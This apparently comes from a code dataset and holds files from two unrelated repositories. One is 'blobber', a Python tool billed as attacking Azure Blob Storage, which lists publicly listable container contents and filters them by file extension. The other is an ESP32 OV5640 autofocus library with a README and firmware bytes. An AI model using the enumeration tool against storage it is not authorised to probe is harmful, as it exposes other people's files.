from rich.console import Console console = Console() import argparse from blobber.ui.banner import get_banner from blobber.modules.status import request from blobber.modules.blobs import blob_handler def initialize() -> None: """ Initiates Blobber """ get_banner() parser = argparse.ArgumentParser( prog='Blobber', description='Attacking Azure Blob Storage Service' ) parser.add_argument('-u', help="Specify the target URL to be used", required=True) parser.add_argument('-f', help="Filter by extension based on file name. Example: .pdf", required=False, default=None) args = parser.parse_args() url = args.u file_filter = args.f status(url, file_filter) def status(url: str, file_filter: str) -> None: """Wrapper to check the status of the given URL.""" response = request(url) if response: console.print(f"[[yellow]![/]] Enumerating blobs...\n", highlight=False) blob_handler(response.text, file_filter) else: pass if __name__ == "__main__": initialize()
000pp/blobber
1,809
src/blobber/modules/blobs.py
""" This module aims to enumerate and get Name, Last-Modified, Content-Length and Content-Typpe blob value. """ from lxml import etree from rich.console import Console console = Console() def blob_handler(content: str, file_filter: str) -> None: try: content_bytes = content.encode('utf-8') root = etree.fromstring(content_bytes) blobs = root.xpath(".//Blob") if not blobs: console.print("[[yellow]![/]] Nenhum blob encontrado.") return for blob in blobs: url_element = blob.find("Url") url = url_element.text.strip() if url_element is not None else "N/A" file_name = blob.findtext(".//Name", default="N/A").strip() last_modified = blob.findtext(".//Last-Modified", default="N/A").strip() content_length = blob.findtext(".//Content-Length", default="N/A").strip() content_type = blob.findtext(".//Content-Type", default="N/A").strip() if file_filter == None: console.print(f"[[green]+[/]] URL: {url}\n \\_ Name: {file_name}\n \\_ Last Modified: {last_modified}\n \\_ Content-Length: {content_length}\n \\_ Content-Type: {content_type}", highlight=False) console.print("-" * 50, "\n") if not file_filter == None: if file_name.endswith(file_filter): console.print(f"[[green]+[/]] URL: {url}\n \\_ Name: {file_name}\n \\_ Last Modified: {last_modified}\n \\_ Content-Length: {content_length}\n \\_ Content-Type: {content_type}", highlight=False) console.print("-" * 50, "\n") else: pass except Exception as error: console.print(f"[[red]![/]] Erro ao processar blobs: {error}")
000pp/blobber
1,092
src/blobber/modules/status.py
""" This module checks the status from the Azure Container passed """ from rich.console import Console console = Console() from requests import get from urllib3 import disable_warnings disable_warnings() from blobber.modules.errors import error_handler def request(url: str) -> tuple: """ Perform a GET request to the given URL, handle errors, and retry if necessary. """ url = f"{url}/?restype=container&comp=list" try: response = get(url, verify=False, timeout=10) if response.ok: console.print(f"[[green]+[/]] Connected successfully to [green]{url}[/]") return response # Handle errors error_handler_response = error_handler(url, response) if error_handler_response: return error_handler_response console.print(f"[[yellow]![/]] Request to [green]{url}[/] failed with status {response.status_code}", highlight=False) return None except Exception as error: console.print(f"[[red]![/]] Error trying to connect to [green]{url}[/]: {error}") return None
000pp/blobber
2,492
src/blobber/modules/errors.py
""" This module handle the common errors when interacting with Azure Blobs """ from rich.console import Console console = Console() from requests import get from urllib3 import disable_warnings disable_warnings() errors_list = { "InvalidQueryParameterValue": "Value for one of the query parameters specified in the request URI is invalid.", "FeatureVersionMismatch": "Trying to add 'x-ms-version: 2020-04-08' header on the request.", "ResourceNotFound": "Invalid container or blob file specified in the URL.", "AccountIsDisabled": "The specified account is disabled." } def error_handler(url: str, response) -> tuple: """ Handles errors in Azure Blob responses and retries if specific errors occur. """ try: if isinstance(response, str): response_text = response else: response_text = response.text if hasattr(response, 'text') else "" for key, value in errors_list.items(): if key in response_text: #console.print(f"[[yellow]![/yellow]] [red]{key}[/]: {value}") if key == "FeatureVersionMismatch": headers = {"x-ms-version": "2020-04-08"} retry_response = get(url, verify=False, timeout=10, headers=headers) if retry_response.ok: console.print(f"[[green]+[/]] Retried with x-ms-version header and succeeded!") return retry_response else: console.print(f"[[red]![/]] Retried but failed with status {retry_response.status_code}") return retry_response if key == "InvalidQueryParameterValue": console.print(f"[[red]![/]] {value}") return False if key == "ResourceNotFound": console.print(f"[[red]![/]] Invalid container or blob file specified in the URL.") return False if key == "AccountIsDisabled": console.print(f"[[red]![/]] {value}") return False if not isinstance(response, str) and not response.ok: console.print(f"[[yellow]![/]] Bad request to [green]{url}[/]") return None except Exception as error: console.print(f"[[red]![/]] Unexpected error in error_handler: {error}") return None
0015/ESP32-OV5640-AF
2,676
README.md
[![arduino-library-badge](https://www.ardu-badge.com/badge/OV5640%20Auto%20Focus%20for%20ESP32%20Camera.svg)](https://www.ardu-badge.com/OV5640%20Auto%20Focus%20for%20ESP32%20Camera) # Enable OV5640's autofocus function on ESP32 AI-THINKER Board This library contains the necessary firmware and source code to enable the OV5640 autofocus mode on the ESP32. ## Note Each manufacturer of OV5640 has slightly different specifications. Please check with your product first. The product I used is Waveshare's OV5640. https://www.waveshare.com/wiki/OV5640_Camera_Board_(C) ## Installation ### ESP32 Core Library You need to install the ESP32 core libraries. The install instructions for your specific OS are here: https://github.com/espressif/arduino-esp32 ### Using Arduino Library Manager From Arduino IDE, go to menu *Sketch -> Include Library -> Manage Libraries...* In Library Manager Window, search *"OV5640"* in the search form then select *"OV5640 Auto Focus for ESP32 Camera"* Click *"Install"* button. ### Manual installation Download zip file from this repository by selecting the green *"Code"* dropdown at the top of repository, select *"Download ZIP"* From Arduino IDE, select menu *Sketch -> Include Library -> Add .ZIP Library...* Or use git: ``` cd ~/arduino/libraries/ git clone git@github.com:0015/ESP32-OV5640-AF.git ``` Then you should see the examples and be able to include the library in your projects with: ``` #include "ESP32_OV5640_AF.h" ``` ## Usage This works like a standard Arduino library. Here's a minimal example: ``` // Create an object from OV5640 class at the top of your sketch OV5640 ov5640 = OV5640(); // To start OV5640, neet to pass the pointer of the esp camera sensor sensor_t* sensor = esp_camera_sensor_get(); ov5640.start(sensor); // Download Firmware for AF if (ov5640.focusInit() == 0) { Serial.println("OV5640_Focus_Init Successful!"); } // Set Continuous AF MODE if (ov5640.autoFocusMode() == 0) { Serial.println("OV5640_Auto_Focus Successful!"); } ``` See the OV5640_Console_Test example for a more fully-featured example. ## Hardware Modification To use the AF function of the OV5640 on the ESP32 AI-Thinker board, you need to connect 3.3v to the last 24th pin(AF-VCC). I share what I've been working on. [You can also see how AF works.](https://youtu.be/922BWy3OOoQ) <a href="https://youtu.be/922BWy3OOoQ"> <img width="800" src="https://github.com/0015/ESP32-OV5640-AF/blob/main/misc/main.jpg"> </a> # Updates - v0.1.1 - Only Added CONTINUOUS AUTOFOCUS Mode # License This software is written by Eric Nam and is licensed under The MIT License. Check License file for more information.
0015/ESP32-OV5640-AF
28,448
src/ESP32_OV5640_cfg.h
/* ESP32_OV5640_cfg.h - Library for OV5640 Auto Focus (ESP32 Camera) Created by Eric Nam, December 08, 2021. Released into the public domain. */ #define OV5640_CHIPID_HIGH 0x300a #define OV5640_CHIPID_LOW 0x300b #define OV5640_CMD_MAIN 0x3022 #define OV5640_CMD_ACK 0x3023 #define OV5640_CMD_PARA0 0x3024 #define OV5640_CMD_PARA1 0x3025 #define OV5640_CMD_PARA2 0x3026 #define OV5640_CMD_PARA3 0x3027 #define OV5640_CMD_PARA4 0x3028 #define OV5640_CMD_FW_STATUS 0x3029 #define AF_TRIG_SINGLE_AUTO_FOCUS 0x03 #define AF_CONTINUE_AUTO_FOCUS 0x04 #define FW_STATUS_S_FIRMWARE 0x7F #define FW_STATUS_S_STARTUP 0x7E #define FW_STATUS_S_IDLE 0x70 #define FW_STATUS_S_FOCUSED 0x10 #define FW_STATUS_S_ZONE_CONFIG 0x16 #define FW_STATUS_S_FOCUSING 0x00 //0x00 - 0X0F, 0x80 - 0X8F struct sensor_reg { uint16_t reg; uint8_t val; }; const unsigned char OV5640_AF_Config[] = { 0x02, 0x0f, 0xd6, 0x02, 0x0a, 0x39, 0xc2, 0x01, 0x22, 0x22, 0x00, 0x02, 0x0f, 0xb2, 0xe5, 0x1f, //0x8000, 0x70, 0x72, 0xf5, 0x1e, 0xd2, 0x35, 0xff, 0xef, 0x25, 0xe0, 0x24, 0x4e, 0xf8, 0xe4, 0xf6, 0x08, //0x8010, 0xf6, 0x0f, 0xbf, 0x34, 0xf2, 0x90, 0x0e, 0x93, 0xe4, 0x93, 0xff, 0xe5, 0x4b, 0xc3, 0x9f, 0x50, //0x8020, 0x04, 0x7f, 0x05, 0x80, 0x02, 0x7f, 0xfb, 0x78, 0xbd, 0xa6, 0x07, 0x12, 0x0f, 0x04, 0x40, 0x04, //0x8030, 0x7f, 0x03, 0x80, 0x02, 0x7f, 0x30, 0x78, 0xbc, 0xa6, 0x07, 0xe6, 0x18, 0xf6, 0x08, 0xe6, 0x78, //0x8040, 0xb9, 0xf6, 0x78, 0xbc, 0xe6, 0x78, 0xba, 0xf6, 0x78, 0xbf, 0x76, 0x33, 0xe4, 0x08, 0xf6, 0x78, //0x8050, 0xb8, 0x76, 0x01, 0x75, 0x4a, 0x02, 0x78, 0xb6, 0xf6, 0x08, 0xf6, 0x74, 0xff, 0x78, 0xc1, 0xf6, //0x8060, 0x08, 0xf6, 0x75, 0x1f, 0x01, 0x78, 0xbc, 0xe6, 0x75, 0xf0, 0x05, 0xa4, 0xf5, 0x4b, 0x12, 0x0a, //0x8070, 0xff, 0xc2, 0x37, 0x22, 0x78, 0xb8, 0xe6, 0xd3, 0x94, 0x00, 0x40, 0x02, 0x16, 0x22, 0xe5, 0x1f, //0x8080, 0xb4, 0x05, 0x23, 0xe4, 0xf5, 0x1f, 0xc2, 0x01, 0x78, 0xb6, 0xe6, 0xfe, 0x08, 0xe6, 0xff, 0x78, //0x8090, 0x4e, 0xa6, 0x06, 0x08, 0xa6, 0x07, 0xa2, 0x37, 0xe4, 0x33, 0xf5, 0x3c, 0x90, 0x30, 0x28, 0xf0, //0x80a0, 0x75, 0x1e, 0x10, 0xd2, 0x35, 0x22, 0xe5, 0x4b, 0x75, 0xf0, 0x05, 0x84, 0x78, 0xbc, 0xf6, 0x90, //0x80b0, 0x0e, 0x8c, 0xe4, 0x93, 0xff, 0x25, 0xe0, 0x24, 0x0a, 0xf8, 0xe6, 0xfc, 0x08, 0xe6, 0xfd, 0x78, //0x80c0, 0xbc, 0xe6, 0x25, 0xe0, 0x24, 0x4e, 0xf8, 0xa6, 0x04, 0x08, 0xa6, 0x05, 0xef, 0x12, 0x0f, 0x0b, //0x80d0, 0xd3, 0x78, 0xb7, 0x96, 0xee, 0x18, 0x96, 0x40, 0x0d, 0x78, 0xbc, 0xe6, 0x78, 0xb9, 0xf6, 0x78, //0x80e0, 0xb6, 0xa6, 0x06, 0x08, 0xa6, 0x07, 0x90, 0x0e, 0x8c, 0xe4, 0x93, 0x12, 0x0f, 0x0b, 0xc3, 0x78, //0x80f0, 0xc2, 0x96, 0xee, 0x18, 0x96, 0x50, 0x0d, 0x78, 0xbc, 0xe6, 0x78, 0xba, 0xf6, 0x78, 0xc1, 0xa6, //0x8100, 0x06, 0x08, 0xa6, 0x07, 0x78, 0xb6, 0xe6, 0xfe, 0x08, 0xe6, 0xc3, 0x78, 0xc2, 0x96, 0xff, 0xee, //0x8110, 0x18, 0x96, 0x78, 0xc3, 0xf6, 0x08, 0xa6, 0x07, 0x90, 0x0e, 0x95, 0xe4, 0x18, 0x12, 0x0e, 0xe9, //0x8120, 0x40, 0x02, 0xd2, 0x37, 0x78, 0xbc, 0xe6, 0x08, 0x26, 0x08, 0xf6, 0xe5, 0x1f, 0x64, 0x01, 0x70, //0x8130, 0x4a, 0xe6, 0xc3, 0x78, 0xc0, 0x12, 0x0e, 0xdf, 0x40, 0x05, 0x12, 0x0e, 0xda, 0x40, 0x39, 0x12, //0x8140, 0x0f, 0x02, 0x40, 0x04, 0x7f, 0xfe, 0x80, 0x02, 0x7f, 0x02, 0x78, 0xbd, 0xa6, 0x07, 0x78, 0xb9, //0x8150, 0xe6, 0x24, 0x03, 0x78, 0xbf, 0xf6, 0x78, 0xb9, 0xe6, 0x24, 0xfd, 0x78, 0xc0, 0xf6, 0x12, 0x0f, //0x8160, 0x02, 0x40, 0x06, 0x78, 0xc0, 0xe6, 0xff, 0x80, 0x04, 0x78, 0xbf, 0xe6, 0xff, 0x78, 0xbe, 0xa6, //0x8170, 0x07, 0x75, 0x1f, 0x02, 0x78, 0xb8, 0x76, 0x01, 0x02, 0x02, 0x4a, 0xe5, 0x1f, 0x64, 0x02, 0x60, //0x8180, 0x03, 0x02, 0x02, 0x2a, 0x78, 0xbe, 0xe6, 0xff, 0xc3, 0x78, 0xc0, 0x12, 0x0e, 0xe0, 0x40, 0x08, //0x8190, 0x12, 0x0e, 0xda, 0x50, 0x03, 0x02, 0x02, 0x28, 0x12, 0x0f, 0x02, 0x40, 0x04, 0x7f, 0xff, 0x80, //0x81a0, 0x02, 0x7f, 0x01, 0x78, 0xbd, 0xa6, 0x07, 0x78, 0xb9, 0xe6, 0x04, 0x78, 0xbf, 0xf6, 0x78, 0xb9, //0x81b0, 0xe6, 0x14, 0x78, 0xc0, 0xf6, 0x18, 0x12, 0x0f, 0x04, 0x40, 0x04, 0xe6, 0xff, 0x80, 0x02, 0x7f, //0x81c0, 0x00, 0x78, 0xbf, 0xa6, 0x07, 0xd3, 0x08, 0xe6, 0x64, 0x80, 0x94, 0x80, 0x40, 0x04, 0xe6, 0xff, //0x81d0, 0x80, 0x02, 0x7f, 0x00, 0x78, 0xc0, 0xa6, 0x07, 0xc3, 0x18, 0xe6, 0x64, 0x80, 0x94, 0xb3, 0x50, //0x81e0, 0x04, 0xe6, 0xff, 0x80, 0x02, 0x7f, 0x33, 0x78, 0xbf, 0xa6, 0x07, 0xc3, 0x08, 0xe6, 0x64, 0x80, //0x81f0, 0x94, 0xb3, 0x50, 0x04, 0xe6, 0xff, 0x80, 0x02, 0x7f, 0x33, 0x78, 0xc0, 0xa6, 0x07, 0x12, 0x0f, //0x8200, 0x02, 0x40, 0x06, 0x78, 0xc0, 0xe6, 0xff, 0x80, 0x04, 0x78, 0xbf, 0xe6, 0xff, 0x78, 0xbe, 0xa6, //0x8210, 0x07, 0x75, 0x1f, 0x03, 0x78, 0xb8, 0x76, 0x01, 0x80, 0x20, 0xe5, 0x1f, 0x64, 0x03, 0x70, 0x26, //0x8220, 0x78, 0xbe, 0xe6, 0xff, 0xc3, 0x78, 0xc0, 0x12, 0x0e, 0xe0, 0x40, 0x05, 0x12, 0x0e, 0xda, 0x40, //0x8230, 0x09, 0x78, 0xb9, 0xe6, 0x78, 0xbe, 0xf6, 0x75, 0x1f, 0x04, 0x78, 0xbe, 0xe6, 0x75, 0xf0, 0x05, //0x8240, 0xa4, 0xf5, 0x4b, 0x02, 0x0a, 0xff, 0xe5, 0x1f, 0xb4, 0x04, 0x10, 0x90, 0x0e, 0x94, 0xe4, 0x78, //0x8250, 0xc3, 0x12, 0x0e, 0xe9, 0x40, 0x02, 0xd2, 0x37, 0x75, 0x1f, 0x05, 0x22, 0x30, 0x01, 0x03, 0x02, //0x8260, 0x04, 0xc0, 0x30, 0x02, 0x03, 0x02, 0x04, 0xc0, 0x90, 0x51, 0xa5, 0xe0, 0x78, 0x93, 0xf6, 0xa3, //0x8270, 0xe0, 0x08, 0xf6, 0xa3, 0xe0, 0x08, 0xf6, 0xe5, 0x1f, 0x70, 0x3c, 0x75, 0x1e, 0x20, 0xd2, 0x35, //0x8280, 0x12, 0x0c, 0x7a, 0x78, 0x7e, 0xa6, 0x06, 0x08, 0xa6, 0x07, 0x78, 0x8b, 0xa6, 0x09, 0x18, 0x76, //0x8290, 0x01, 0x12, 0x0c, 0x5b, 0x78, 0x4e, 0xa6, 0x06, 0x08, 0xa6, 0x07, 0x78, 0x8b, 0xe6, 0x78, 0x6e, //0x82a0, 0xf6, 0x75, 0x1f, 0x01, 0x78, 0x93, 0xe6, 0x78, 0x90, 0xf6, 0x78, 0x94, 0xe6, 0x78, 0x91, 0xf6, //0x82b0, 0x78, 0x95, 0xe6, 0x78, 0x92, 0xf6, 0x22, 0x79, 0x90, 0xe7, 0xd3, 0x78, 0x93, 0x96, 0x40, 0x05, //0x82c0, 0xe7, 0x96, 0xff, 0x80, 0x08, 0xc3, 0x79, 0x93, 0xe7, 0x78, 0x90, 0x96, 0xff, 0x78, 0x88, 0x76, //0x82d0, 0x00, 0x08, 0xa6, 0x07, 0x79, 0x91, 0xe7, 0xd3, 0x78, 0x94, 0x96, 0x40, 0x05, 0xe7, 0x96, 0xff, //0x82e0, 0x80, 0x08, 0xc3, 0x79, 0x94, 0xe7, 0x78, 0x91, 0x96, 0xff, 0x12, 0x0c, 0x8e, 0x79, 0x92, 0xe7, //0x82f0, 0xd3, 0x78, 0x95, 0x96, 0x40, 0x05, 0xe7, 0x96, 0xff, 0x80, 0x08, 0xc3, 0x79, 0x95, 0xe7, 0x78, //0x8300, 0x92, 0x96, 0xff, 0x12, 0x0c, 0x8e, 0x12, 0x0c, 0x5b, 0x78, 0x8a, 0xe6, 0x25, 0xe0, 0x24, 0x4e, //0x8310, 0xf8, 0xa6, 0x06, 0x08, 0xa6, 0x07, 0x78, 0x8a, 0xe6, 0x24, 0x6e, 0xf8, 0xa6, 0x09, 0x78, 0x8a, //0x8320, 0xe6, 0x24, 0x01, 0xff, 0xe4, 0x33, 0xfe, 0xd3, 0xef, 0x94, 0x0f, 0xee, 0x64, 0x80, 0x94, 0x80, //0x8330, 0x40, 0x04, 0x7f, 0x00, 0x80, 0x05, 0x78, 0x8a, 0xe6, 0x04, 0xff, 0x78, 0x8a, 0xa6, 0x07, 0xe5, //0x8340, 0x1f, 0xb4, 0x01, 0x0a, 0xe6, 0x60, 0x03, 0x02, 0x04, 0xc0, 0x75, 0x1f, 0x02, 0x22, 0x12, 0x0c, //0x8350, 0x7a, 0x78, 0x80, 0xa6, 0x06, 0x08, 0xa6, 0x07, 0x12, 0x0c, 0x7a, 0x78, 0x82, 0xa6, 0x06, 0x08, //0x8360, 0xa6, 0x07, 0x78, 0x6e, 0xe6, 0x78, 0x8c, 0xf6, 0x78, 0x6e, 0xe6, 0x78, 0x8d, 0xf6, 0x7f, 0x01, //0x8370, 0xef, 0x25, 0xe0, 0x24, 0x4f, 0xf9, 0xc3, 0x78, 0x81, 0xe6, 0x97, 0x18, 0xe6, 0x19, 0x97, 0x50, //0x8380, 0x0a, 0x12, 0x0c, 0x82, 0x78, 0x80, 0xa6, 0x04, 0x08, 0xa6, 0x05, 0x74, 0x6e, 0x2f, 0xf9, 0x78, //0x8390, 0x8c, 0xe6, 0xc3, 0x97, 0x50, 0x08, 0x74, 0x6e, 0x2f, 0xf8, 0xe6, 0x78, 0x8c, 0xf6, 0xef, 0x25, //0x83a0, 0xe0, 0x24, 0x4f, 0xf9, 0xd3, 0x78, 0x83, 0xe6, 0x97, 0x18, 0xe6, 0x19, 0x97, 0x40, 0x0a, 0x12, //0x83b0, 0x0c, 0x82, 0x78, 0x82, 0xa6, 0x04, 0x08, 0xa6, 0x05, 0x74, 0x6e, 0x2f, 0xf9, 0x78, 0x8d, 0xe6, //0x83c0, 0xd3, 0x97, 0x40, 0x08, 0x74, 0x6e, 0x2f, 0xf8, 0xe6, 0x78, 0x8d, 0xf6, 0x0f, 0xef, 0x64, 0x10, //0x83d0, 0x70, 0x9e, 0xc3, 0x79, 0x81, 0xe7, 0x78, 0x83, 0x96, 0xff, 0x19, 0xe7, 0x18, 0x96, 0x78, 0x84, //0x83e0, 0xf6, 0x08, 0xa6, 0x07, 0xc3, 0x79, 0x8c, 0xe7, 0x78, 0x8d, 0x96, 0x08, 0xf6, 0xd3, 0x79, 0x81, //0x83f0, 0xe7, 0x78, 0x7f, 0x96, 0x19, 0xe7, 0x18, 0x96, 0x40, 0x05, 0x09, 0xe7, 0x08, 0x80, 0x06, 0xc3, //0x8400, 0x79, 0x7f, 0xe7, 0x78, 0x81, 0x96, 0xff, 0x19, 0xe7, 0x18, 0x96, 0xfe, 0x78, 0x86, 0xa6, 0x06, //0x8410, 0x08, 0xa6, 0x07, 0x79, 0x8c, 0xe7, 0xd3, 0x78, 0x8b, 0x96, 0x40, 0x05, 0xe7, 0x96, 0xff, 0x80, //0x8420, 0x08, 0xc3, 0x79, 0x8b, 0xe7, 0x78, 0x8c, 0x96, 0xff, 0x78, 0x8f, 0xa6, 0x07, 0xe5, 0x1f, 0x64, //0x8430, 0x02, 0x70, 0x69, 0x90, 0x0e, 0x91, 0x93, 0xff, 0x18, 0xe6, 0xc3, 0x9f, 0x50, 0x72, 0x12, 0x0c, //0x8440, 0x4a, 0x12, 0x0c, 0x2f, 0x90, 0x0e, 0x8e, 0x12, 0x0c, 0x38, 0x78, 0x80, 0x12, 0x0c, 0x6b, 0x7b, //0x8450, 0x04, 0x12, 0x0c, 0x1d, 0xc3, 0x12, 0x06, 0x45, 0x50, 0x56, 0x90, 0x0e, 0x92, 0xe4, 0x93, 0xff, //0x8460, 0x78, 0x8f, 0xe6, 0x9f, 0x40, 0x02, 0x80, 0x11, 0x90, 0x0e, 0x90, 0xe4, 0x93, 0xff, 0xd3, 0x78, //0x8470, 0x89, 0xe6, 0x9f, 0x18, 0xe6, 0x94, 0x00, 0x40, 0x03, 0x75, 0x1f, 0x05, 0x12, 0x0c, 0x4a, 0x12, //0x8480, 0x0c, 0x2f, 0x90, 0x0e, 0x8f, 0x12, 0x0c, 0x38, 0x78, 0x7e, 0x12, 0x0c, 0x6b, 0x7b, 0x40, 0x12, //0x8490, 0x0c, 0x1d, 0xd3, 0x12, 0x06, 0x45, 0x40, 0x18, 0x75, 0x1f, 0x05, 0x22, 0xe5, 0x1f, 0xb4, 0x05, //0x84a0, 0x0f, 0xd2, 0x01, 0xc2, 0x02, 0xe4, 0xf5, 0x1f, 0xf5, 0x1e, 0xd2, 0x35, 0xd2, 0x33, 0xd2, 0x36, //0x84b0, 0x22, 0xef, 0x8d, 0xf0, 0xa4, 0xa8, 0xf0, 0xcf, 0x8c, 0xf0, 0xa4, 0x28, 0xce, 0x8d, 0xf0, 0xa4, //0x84c0, 0x2e, 0xfe, 0x22, 0xbc, 0x00, 0x0b, 0xbe, 0x00, 0x29, 0xef, 0x8d, 0xf0, 0x84, 0xff, 0xad, 0xf0, //0x84d0, 0x22, 0xe4, 0xcc, 0xf8, 0x75, 0xf0, 0x08, 0xef, 0x2f, 0xff, 0xee, 0x33, 0xfe, 0xec, 0x33, 0xfc, //0x84e0, 0xee, 0x9d, 0xec, 0x98, 0x40, 0x05, 0xfc, 0xee, 0x9d, 0xfe, 0x0f, 0xd5, 0xf0, 0xe9, 0xe4, 0xce, //0x84f0, 0xfd, 0x22, 0xed, 0xf8, 0xf5, 0xf0, 0xee, 0x84, 0x20, 0xd2, 0x1c, 0xfe, 0xad, 0xf0, 0x75, 0xf0, //0x8500, 0x08, 0xef, 0x2f, 0xff, 0xed, 0x33, 0xfd, 0x40, 0x07, 0x98, 0x50, 0x06, 0xd5, 0xf0, 0xf2, 0x22, //0x8510, 0xc3, 0x98, 0xfd, 0x0f, 0xd5, 0xf0, 0xea, 0x22, 0xe8, 0x8f, 0xf0, 0xa4, 0xcc, 0x8b, 0xf0, 0xa4, //0x8520, 0x2c, 0xfc, 0xe9, 0x8e, 0xf0, 0xa4, 0x2c, 0xfc, 0x8a, 0xf0, 0xed, 0xa4, 0x2c, 0xfc, 0xea, 0x8e, //0x8530, 0xf0, 0xa4, 0xcd, 0xa8, 0xf0, 0x8b, 0xf0, 0xa4, 0x2d, 0xcc, 0x38, 0x25, 0xf0, 0xfd, 0xe9, 0x8f, //0x8540, 0xf0, 0xa4, 0x2c, 0xcd, 0x35, 0xf0, 0xfc, 0xeb, 0x8e, 0xf0, 0xa4, 0xfe, 0xa9, 0xf0, 0xeb, 0x8f, //0x8550, 0xf0, 0xa4, 0xcf, 0xc5, 0xf0, 0x2e, 0xcd, 0x39, 0xfe, 0xe4, 0x3c, 0xfc, 0xea, 0xa4, 0x2d, 0xce, //0x8560, 0x35, 0xf0, 0xfd, 0xe4, 0x3c, 0xfc, 0x22, 0x75, 0xf0, 0x08, 0x75, 0x82, 0x00, 0xef, 0x2f, 0xff, //0x8570, 0xee, 0x33, 0xfe, 0xcd, 0x33, 0xcd, 0xcc, 0x33, 0xcc, 0xc5, 0x82, 0x33, 0xc5, 0x82, 0x9b, 0xed, //0x8580, 0x9a, 0xec, 0x99, 0xe5, 0x82, 0x98, 0x40, 0x0c, 0xf5, 0x82, 0xee, 0x9b, 0xfe, 0xed, 0x9a, 0xfd, //0x8590, 0xec, 0x99, 0xfc, 0x0f, 0xd5, 0xf0, 0xd6, 0xe4, 0xce, 0xfb, 0xe4, 0xcd, 0xfa, 0xe4, 0xcc, 0xf9, //0x85a0, 0xa8, 0x82, 0x22, 0xb8, 0x00, 0xc1, 0xb9, 0x00, 0x59, 0xba, 0x00, 0x2d, 0xec, 0x8b, 0xf0, 0x84, //0x85b0, 0xcf, 0xce, 0xcd, 0xfc, 0xe5, 0xf0, 0xcb, 0xf9, 0x78, 0x18, 0xef, 0x2f, 0xff, 0xee, 0x33, 0xfe, //0x85c0, 0xed, 0x33, 0xfd, 0xec, 0x33, 0xfc, 0xeb, 0x33, 0xfb, 0x10, 0xd7, 0x03, 0x99, 0x40, 0x04, 0xeb, //0x85d0, 0x99, 0xfb, 0x0f, 0xd8, 0xe5, 0xe4, 0xf9, 0xfa, 0x22, 0x78, 0x18, 0xef, 0x2f, 0xff, 0xee, 0x33, //0x85e0, 0xfe, 0xed, 0x33, 0xfd, 0xec, 0x33, 0xfc, 0xc9, 0x33, 0xc9, 0x10, 0xd7, 0x05, 0x9b, 0xe9, 0x9a, //0x85f0, 0x40, 0x07, 0xec, 0x9b, 0xfc, 0xe9, 0x9a, 0xf9, 0x0f, 0xd8, 0xe0, 0xe4, 0xc9, 0xfa, 0xe4, 0xcc, //0x8600, 0xfb, 0x22, 0x75, 0xf0, 0x10, 0xef, 0x2f, 0xff, 0xee, 0x33, 0xfe, 0xed, 0x33, 0xfd, 0xcc, 0x33, //0x8610, 0xcc, 0xc8, 0x33, 0xc8, 0x10, 0xd7, 0x07, 0x9b, 0xec, 0x9a, 0xe8, 0x99, 0x40, 0x0a, 0xed, 0x9b, //0x8620, 0xfd, 0xec, 0x9a, 0xfc, 0xe8, 0x99, 0xf8, 0x0f, 0xd5, 0xf0, 0xda, 0xe4, 0xcd, 0xfb, 0xe4, 0xcc, //0x8630, 0xfa, 0xe4, 0xc8, 0xf9, 0x22, 0xeb, 0x9f, 0xf5, 0xf0, 0xea, 0x9e, 0x42, 0xf0, 0xe9, 0x9d, 0x42, //0x8640, 0xf0, 0xe8, 0x9c, 0x45, 0xf0, 0x22, 0xe8, 0x60, 0x0f, 0xec, 0xc3, 0x13, 0xfc, 0xed, 0x13, 0xfd, //0x8650, 0xee, 0x13, 0xfe, 0xef, 0x13, 0xff, 0xd8, 0xf1, 0x22, 0xe8, 0x60, 0x0f, 0xef, 0xc3, 0x33, 0xff, //0x8660, 0xee, 0x33, 0xfe, 0xed, 0x33, 0xfd, 0xec, 0x33, 0xfc, 0xd8, 0xf1, 0x22, 0xe4, 0x93, 0xfc, 0x74, //0x8670, 0x01, 0x93, 0xfd, 0x74, 0x02, 0x93, 0xfe, 0x74, 0x03, 0x93, 0xff, 0x22, 0xe6, 0xfb, 0x08, 0xe6, //0x8680, 0xf9, 0x08, 0xe6, 0xfa, 0x08, 0xe6, 0xcb, 0xf8, 0x22, 0xec, 0xf6, 0x08, 0xed, 0xf6, 0x08, 0xee, //0x8690, 0xf6, 0x08, 0xef, 0xf6, 0x22, 0xa4, 0x25, 0x82, 0xf5, 0x82, 0xe5, 0xf0, 0x35, 0x83, 0xf5, 0x83, //0x86a0, 0x22, 0xd0, 0x83, 0xd0, 0x82, 0xf8, 0xe4, 0x93, 0x70, 0x12, 0x74, 0x01, 0x93, 0x70, 0x0d, 0xa3, //0x86b0, 0xa3, 0x93, 0xf8, 0x74, 0x01, 0x93, 0xf5, 0x82, 0x88, 0x83, 0xe4, 0x73, 0x74, 0x02, 0x93, 0x68, //0x86c0, 0x60, 0xef, 0xa3, 0xa3, 0xa3, 0x80, 0xdf, 0x90, 0x38, 0x04, 0x78, 0x52, 0x12, 0x0b, 0xfd, 0x90, //0x86d0, 0x38, 0x00, 0xe0, 0xfe, 0xa3, 0xe0, 0xfd, 0xed, 0xff, 0xc3, 0x12, 0x0b, 0x9e, 0x90, 0x38, 0x10, //0x86e0, 0x12, 0x0b, 0x92, 0x90, 0x38, 0x06, 0x78, 0x54, 0x12, 0x0b, 0xfd, 0x90, 0x38, 0x02, 0xe0, 0xfe, //0x86f0, 0xa3, 0xe0, 0xfd, 0xed, 0xff, 0xc3, 0x12, 0x0b, 0x9e, 0x90, 0x38, 0x12, 0x12, 0x0b, 0x92, 0xa3, //0x8700, 0xe0, 0xb4, 0x31, 0x07, 0x78, 0x52, 0x79, 0x52, 0x12, 0x0c, 0x13, 0x90, 0x38, 0x14, 0xe0, 0xb4, //0x8710, 0x71, 0x15, 0x78, 0x52, 0xe6, 0xfe, 0x08, 0xe6, 0x78, 0x02, 0xce, 0xc3, 0x13, 0xce, 0x13, 0xd8, //0x8720, 0xf9, 0x79, 0x53, 0xf7, 0xee, 0x19, 0xf7, 0x90, 0x38, 0x15, 0xe0, 0xb4, 0x31, 0x07, 0x78, 0x54, //0x8730, 0x79, 0x54, 0x12, 0x0c, 0x13, 0x90, 0x38, 0x15, 0xe0, 0xb4, 0x71, 0x15, 0x78, 0x54, 0xe6, 0xfe, //0x8740, 0x08, 0xe6, 0x78, 0x02, 0xce, 0xc3, 0x13, 0xce, 0x13, 0xd8, 0xf9, 0x79, 0x55, 0xf7, 0xee, 0x19, //0x8750, 0xf7, 0x79, 0x52, 0x12, 0x0b, 0xd9, 0x09, 0x12, 0x0b, 0xd9, 0xaf, 0x47, 0x12, 0x0b, 0xb2, 0xe5, //0x8760, 0x44, 0xfb, 0x7a, 0x00, 0xfd, 0x7c, 0x00, 0x12, 0x04, 0xd3, 0x78, 0x5a, 